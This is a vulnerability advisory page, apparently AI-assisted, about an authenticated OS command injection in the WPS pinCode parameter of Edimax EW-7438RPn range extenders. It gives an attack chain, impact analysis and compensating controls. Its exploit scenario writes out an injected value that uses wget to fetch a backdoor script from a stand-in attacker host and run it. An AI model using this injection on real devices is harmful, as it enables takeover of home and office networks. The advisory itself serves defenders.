Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessIdentify internet-exposed EW-7438RPn
-
DeliveryAuthenticate with default/compromised credentials
-
ExploitSend crafted POST to /goform/formWpsStart
-
ExecutionInject shell commands via pinCode parameter
-
PersistExecute arbitrary code as root
-
ImpactEstablish persistence/C2
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Low-privilege authentication to the Edimax EW-7438RPn web management interface is required (CVSS PR:L). Specifically, the attacker must have valid credentials for the device's administrative portal, typically accessed via HTTP/HTTPS on standard ports (80/443) or custom management ports. Exploitation targets the WPS configuration feature accessible at the /goform/formWpsStart endpoint - if WPS functionality is disabled via alternate configuration methods that completely remove this endpoint, exploitation may not be possible, though this is unlikely in standard firmware builds. Network-based exploitation (CVSS AV:N) means the device must be reachable over TCP/IP networks; devices accessible only via local Ethernet without internet exposure face reduced risk from external threat actors. No special user interaction (UI:N) or complex timing requirements exist. Primary limiting factor is credential acquisition - devices with changed default passwords and not exposed to credential stuffing or phishing attacks have lower exploitation probability, but SOHO environments commonly leave default credentials unchanged, making this a realistic attack path. |
| Impact | Real-world risk assessment indicates moderate-to-high concern despite the 6.3 CVSS base score. Critical risk factors: CVSS vector shows network-accessible exploitation (AV:N) with low attack complexity (AC:L) and no user interaction required (UI:N), making this straightforward to exploit once authenticated. Public exploit code exists (E:P in temporal metrics), dramatically lowering the barrier for opportunistic attacks. The PR:L (low privileges required) indicates authentication is needed, which somewhat limits exposure compared to unauthenticated RCE. However, IoT devices frequently have default credentials or weak passwords, especially in SOHO environments. Most concerning is vendor non-responsiveness (RL:X - no remediation available), meaning affected devices will remain vulnerable indefinitely unless replaced. The combination of public exploit, no patch, and typical IoT credential hygiene issues creates substantial risk for internet-facing deployments. Exploitation likelihood increases if devices use default credentials or are targeted in credential-stuffing campaigns. SSVC assessment: exploitation is proven (POC public), automatable (straightforward HTTP exploitation), technical impact is total (arbitrary command execution likely as root), warranting immediate action for exposed devices. |
| Exploit ScenarioDerived | An attacker identifies an Edimax EW-7438RPn range extender exposed on the internet through Shodan or routine network scanning. Using default credentials (commonly unchanged on IoT devices) or credentials obtained from password reuse attacks, the attacker authenticates to the web management interface. They then send a crafted HTTP POST request to /goform/formWpsStart with malicious shell commands injected into the pinCode parameter (e.g., pinCode=1234;wget http://attacker.com/backdoor.sh -O /tmp/bd.sh;sh /tmp/bd.sh). The vulnerable formWpsStart function executes the injected commands, downloading and running a persistent backdoor script that establishes reverse shell access. The attacker now has root-level command execution on the device, enabling network traffic interception, pivot attacks to internal network segments, or recruitment into a botnet. Public exploit code simplifies this attack to script-kiddie level. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 23, 2026
OS command injection in Edimax EW-7438RPn firmware (versions up to 1.31) allows authenticated remote attackers to execute arbitrary system commands via the pinCode parameter in the formWpsStart function. Public exploit code is available on GitHub, enabling low-complexity attacks against the WPS configuration interface. The vendor has not responded to vulnerability disclosure, leaving no official patch available. EPSS data not provided, but public POC availability significantly increases exploitation risk for internet-exposed devices with weak admin credentials.
RemediationAI
No vendor-released patch exists at time of analysis - Edimax did not respond to vulnerability disclosure per VulDB reports. Recommended compensating controls with trade-offs: (1) Disable remote web management access and restrict administrative interface to local network only via firewall rules, which prevents remote exploitation but may complicate remote device management; (2) Change default administrative credentials to strong unique passwords immediately (minimum 16 characters, complexity), reducing attack surface from credential-based attacks but not eliminating the vulnerability for already-authenticated sessions; (3) Disable WPS functionality entirely if not operationally required, as the vulnerable formWpsStart endpoint is part of WPS configuration - this eliminates the attack vector but removes WPS convenience features; (4) Place affected devices behind network segmentation or VLANs with strict access controls to limit blast radius if compromised; (5) Monitor device logs and network traffic for suspicious POST requests to /goform/formWpsStart with anomalous pinCode parameters; (6) For high-security environments, replace devices with alternative vendor products that maintain active security response programs. Exploit details available at https://github.com/wudipjq/my_vuln/blob/main/Edimax/vuln_1/1.md for defensive analysis. Additional context at https://vuldb.com/vuln/365306.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability affects the WPS (Wi-Fi Protected Setup) configuration functionality in Edimax EW-7438RPn wireless range extenders running firmware 1.31 and earlier. The flaw resides in the formWpsStart function within the /goform/formWpsStart endpoint of the webs web server component. The vulnerability is a classic CWE-78 OS command injection, where user-supplied input to the pinCode parameter is passed to system shell commands without proper sanitization or validation. This allows an authenticated attacker to break out of the intended command context by injecting shell metacharacters and execute arbitrary operating system commands with the privileges of the web server process, likely running as root or an elevated user on embedded firmware.
Know when Ew 7438Rpn gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Primary rating from Vendor (VulDB) · only source for this CVE.
CVSS VectorVendor: VulDB
Lifecycle Timeline
2DescriptionCVE.org
A weakness has been identified in Edimax EW-7438RPn up to 1.31. The affected element is the function formWpsStart of the file /goform/formWpsStart of the component webs. This manipulation of the argument pinCode causes os command injection. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
More in Ew 7438Rpn
View allBuffer overflow in Edimax EW-7438RPn WiFi range extender firmware up to version 1.31 enables authenticated remote attack
Buffer overflow in Edimax EW-7438RPn WiFi range extender firmware versions up to 1.31 enables authenticated remote attac
Stack-based buffer overflow in the Edimax EW-7438RPn 1.31 wireless range extender allows remote attackers with low-privi
Stack-based buffer overflow in the Edimax EW-7438RPn Wi-Fi range extender (firmware 1.31) allows remote authenticated at
Stack-based buffer overflow in the Edimax EW-7438RPn 1.31 Wi-Fi range extender allows remote attackers with low privileg
Stack-based buffer overflow in the Edimax EW-7438RPn Wi-Fi range extender (firmware 1.31) allows authenticated remote at
Stack-based buffer overflow in the Edimax EW-7438RPn 1.31 range extender allows remote authenticated attackers to corrup
Stack-based buffer overflow in the Edimax EW-7438RPn 1.31 wireless range extender enables remote low-privileged attacker
Stack-based buffer overflow in the Edimax EW-7438RPn Wi-Fi range extender (firmware 1.31) allows remote authenticated at
Stack-based buffer overflow in Edimax EW-7438RPn 1.31 range extenders allows authenticated remote attackers to corrupt m
Stack-based buffer overflow in the Edimax EW-7438RPn 1.31 wireless range extender allows remote attackers with low privi
Stack-based buffer overflow in Edimax EW-7438RPn 1.31 wireless range extenders allows remote authenticated attackers to
EUVD-2026-31553
GHSA-5fv5-xxvr-vx32
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB